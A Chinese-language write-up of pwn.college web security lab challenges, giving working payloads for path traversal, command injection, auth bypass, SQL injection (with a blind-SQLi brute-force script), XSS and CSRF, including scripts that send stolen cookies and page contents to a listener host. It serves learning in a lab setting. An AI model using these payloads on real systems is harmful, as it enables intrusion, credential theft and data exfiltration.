---
# System prepended metadata

title: PwnCollege Web Security
tags: [pwn.college]

---

# PwnCollege Web Security
### Path Traversal 1

```python=
app = flask.Flask(__name__)

@app.route("/items", methods=["GET"])
@app.route("/items/<path:path>", methods=["GET"])
def challenge(path="index.html"):
    requested_path = app.root_path + "/files/" + path
    print(f"DEBUG: {requested_path=}")
    try:
        return open(requested_path).read()
    except PermissionError:
        flask.abort(403, requested_path)
    except FileNotFoundError:
        flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
    except Exception as e:
        flask.abort(500, requested_path + ":" + str(e))


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)
```

開啟一個server，使用`/items`這個路由可以訪問路徑
使用`http://challenge.localhost/items/../../flag`來訪問flag
但是會失敗，因為請求路徑會被標準化，會變成`/flag`
需要使用URL編碼`http://challenge.localhost/items/..%2F..%2Fflag`
也可以使用curl來獲取內容`curl 'http://challenge.localhost:80/items/..%2F..%2Fflag'`

### Path Traversal 2
![image](https://hackmd.io/_uploads/rkJvt10R1x.png)
多加了`strip("/.")`會將開頭與結尾的`/.`去除
發現`files`目錄下有一個`fortunes`資料夾，可以從這個資料夾往回找
![image](https://hackmd.io/_uploads/B1sz9yCCkx.png)

`http://challenge.localhost/dump/fortunes/..%2F..%2F..%2Fflag`

### CMDi 1
https://wzt.ac.cn/2022/03/21/command-inject/
![image](https://hackmd.io/_uploads/HJpAhJC01l.png)
會從表單取得資料，並拼接到command，可以使用`;`來做命令分割接著就可以使用`cat`查看檔案
`/; cat /flag`
![image](https://hackmd.io/_uploads/r1J06JC01g.png)

### CMDi 2
這次過濾了`;`
![image](https://hackmd.io/_uploads/HJzARJAA1e.png)
改成使用`|`來做連接`/ | cat /flag`

### CMDi 3
這次命令的建構多使用了`''`把參數包起來
![image](https://hackmd.io/_uploads/rklA01g0CJe.png)
使用`/' ; cat '/flag`來繞過`'`

### CMDi 5
這次網站不會把指令結果顯示出來，可以用重定向把輸出導向自己建的臨時檔案
`; cat /flag > /tmp/flag`

### CMDi 6
多數的符號都被過濾，使用換行符的URL編碼`%0A`來繞過
`%0Acat /flag`
![image](https://hackmd.io/_uploads/BypL5x0AJe.png)
發現這樣無效，看到url的0A前面多了25，把25移掉再試一次
`%25`是`%`的URL編碼，因為使用表單送出時就會做一次URL編碼，所以就變成`%250A`
這稱之為**雙重編碼**

### Auth Bypass 1
![image](https://hackmd.io/_uploads/HJjMLQRC1e.png)
取得request的參數session_user來判斷是誰登陸
從原碼可以得知有guest這個帳號，登陸後觀察URL為`?session_user=guest`
可以改成`?session_user=admin`來繞過驗證

### Auth Bypass 2
![image](https://hackmd.io/_uploads/rJPdDmAAke.png)
這次是檢查cookie，直接修改cookie的value為admin

### SQLi 1
![image](https://hackmd.io/_uploads/SJZc97RRyx.png)
查詢語句如上，使用`username`為`admin`、`password`為`123 or 1=1--`
組合出來的語句為
`query="SELECT rowid, * FROM users WHERE username = 'admin' AND pin = 123 or 1=1"`
AND的優先級比OR高，但不管怎樣都會是登錄成功

### SQLi 2
password使用`''`包起來，因此要先使用`'`閉合
![image](https://hackmd.io/_uploads/SyPBpm0Ayg.png)
username為`admin`、password為`123' or 1=1--`
`query="SELECT rowid, * FROM users WHERE username = 'admin' AND password = '123' or 1=1--'"`

### SQLi 3
使用union來連接不同sql語句的返回結果
`" union select password from users where username='admin'--`
先用`"`來閉合，接著就能用`union`來接其他查詢語句
`SELECT username FROM users WHERE username LIKE "" union select password from users where username='admin'--"`

### SQLi 4
因為是隨機的table名稱所以要先找到有哪些table
這題是使用`sqlite`所以使用`" union select tbl_name from sqlite_master--`或是
`" union select name from sqlite_master WHERE type='table'--`
如果是mySQL可以使用`union select table_name from information_schema.tables`

最後的payload`" union select password from users_7605420928 where username='admin'--`

### SQLi 5
這題不會有任何顯示，因此要使用盲注
`' or 1=1 --`這樣會返回成功頁面，因此可嘗試布林盲注
`' or substr((SELECT password FROM users WHERE username='admin'), 1, 1) == 'a'--`
用這種方式可以將密碼一個個給leak出來

```python=
import requests
import string

charset = string.printable

url = 'http://challenge.localhost:80'

flag = ""

for i in range(1, 100):
    find = False
    for char in charset:
        payload = f"' OR substr((SELECT password FROM users WHERE username='admin'), {i}, 1) == '{char}'--"
        data = {"username": 'admin', "password": payload}
        response = requests.post(url, data=data, timeout = 20)
        
        if response.status_code == 200:
            flag += char
            print(f"[+] Found character {i}: {char}")
            find = True
            break

    if(not find):
        print("Can not find... Or END  !!!!")
        break

print(f"Flag is : {flag}")
```

### XSS 1
![image](https://hackmd.io/_uploads/S1P4t41ygx.png)
這邊會用輸入的內容作串接，因此可以構建XSS`<input></input>`
這邊的內容是從數據庫檢索出來再顯示給使用者，因此稱為儲存型XSS

### XSS 2
使用`<script>alert(1)</script>`來插入彈出框

### XSS 3
反射型XSS是發生在URL參數被渲染到生成的HTML頁面，需要受害者去訪問這個URL
這個頁面會顯示`msg`的內容，因此把javascript注入到msg參數中，讓其渲染到網頁中
`http://challenge.localhost/?msg=<script>alert("PWNED")</script>`


### XSS 4
![image](https://hackmd.io/_uploads/r1urpVkylg.png)
這題會從URL取得參數並渲染到`<textarea>`中，因此不會觸發javascript，需要先把textarea閉合
`http://challenge.localhost/?msg=</textarea><script>alert("PWNED")</script>`

### XSS 5
![image](https://hackmd.io/_uploads/BkZqBr1yee.png)
這裡有個連結點下去會發起GET請求`/publish`
因此我們的目標是要讓admin發起GET請求，讓其把未發布的內容發布
可以使用`fetch()`
注入payload`<script>fetch("http://challenge.localhost/publish");</script>`
這樣admin一登入就會發起`/publish`請求並把他的草稿顯示出來

### XSS 6
這次是要發起POST請求
`<script>fetch("http://challenge.localhost/publish", { method : "POST"});</script>`

### XSS 7
這次不管是寫草稿或是發布都需要身分認證，但他的帳號和密碼是存在cookie裡
![image](https://hackmd.io/_uploads/rJu56rJyex.png)

可以使用`fetch()`讓受害者把cookie送到我的伺服器上
可以用`nc`來監聽port口，當作自己的伺服器
`nc -lvnp 6969`
> -l 監聽模式、-v 詳細解釋、-n 不解析DNS、-p 設定port口
![image](https://hackmd.io/_uploads/SkOlaryJxg.png)

接著就可以構造XSS注入讓受害者發起請求
`<script>fetch("http://0.0.0.0:6969", { method: "POST", body: document.cookie});</script>`


### CSRF 1
這題無法注入XSS(因為受害者不會看這個網站)，但受害者在登入後會去訪問`http://0.0.0.0:1337`
且因為同源政策，我們無法讓cookie跨網站傳遞
因此我們可以建構一個網站`http://0.0.0.0:1337`，當受害者訪問這個網站時就會向`challenge.localhost`發送`/publish`的GET請求
`python -m http.server 1337`使用python來啟動一個server
在同個目錄下建立一個`index.html`
```html=
<!DOCTYPE html>
<html>
  <body>
    <form id="csrfForm" action="http://challenge.localhost/publish" method="GET">
    </form>

    <script>
      document.getElementById("csrfForm").submit();
    </script>
  </body>
</html>
```
> 這樣當使用者訪問這個網站時就會利用其自己的cookie發起GET請求

### CSRF 2
改成POST請求

### CSRF 3
要用CSRF與XSS來彈出提示框
![image](https://hackmd.io/_uploads/SJVjDuJJge.png)
> 這是能觸發XSS的地方，他會從URL取得msg參數，並顯示在畫面上，這能XSS注入

```html=
<!DOCTYPE html>
<html>
  <body>

    <script>
	    let payload = "<scr" + "ipt>alert(\"PWNED\");</scr" + "ipt>"
	    let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)

	    /*fetch(url, {credentials: "include"})*/
	    window.location.href = url;
    </script>
  </body>
</html>
```

構建一個訪問`http://challenge.localhost/ephemeral`的連結，而`msg`就是希望觸發的js程式碼，要注意這邊因為有多個`<script>`標籤，所以要使用`"</scr" + "ipt>"`
否則瀏覽器會把payload的`</script>`和網頁真正的`<script>`做閉合
最後使用`window.location.href = url;`來做網頁跳轉，讓受害者看到彈出框
`encodeURIComponent`可用來將字串進行 URL 編碼，讓它可以安全地放進 URL 中的參數裡


### CSRF 4
這題要取得cookie，使用另一個nc監聽的伺服器來接收cookie，取得cookie就能登入了
```html=
<!DOCTYPE html>
<html>
  <body>

    <script>
	    let payload = "<scr" + "ipt>fetch(\"http://0.0.0.0:6969\", { method: \"POST\", body: document.cookie});</scr" + "ipt>"
	    let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)

	    /*fetch(url, {credentials: "include"})*/
	    window.location.href = url;
    </script>
  </body>
</html>
```

### CSRF 5
這題設置了`HttpOnly`，表示無法藉由`document.cookie`來偷取cookie了
但我們已經將程式碼注入進去網頁的話，就沒有同源問題，我們想幹嘛就幹嘛
可以使用`fetch()`來訪問各路徑，並直接存取該頁面的資訊
```html=
<!DOCTYPE html>
<html>
  <body>

    <script>
	    let payload = "<scr" + "ipt>fetch('/').then(r=>r.text()).then(t=>{fetch('http://0.0.0.0:1337/?leak=' + encodeURIComponent(t))})" + ";</scr" + "ipt>"
	    let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(payload)

	    /*fetch(url, {credentials: "include"})*/
	    window.location.href = url;
    </script>
  </body>
</html>
```
> 把跟目錄的頁面整個抓下來，丟到cyber chef做URL解碼
![image](https://hackmd.io/_uploads/SJNkWtJ1eg.png)
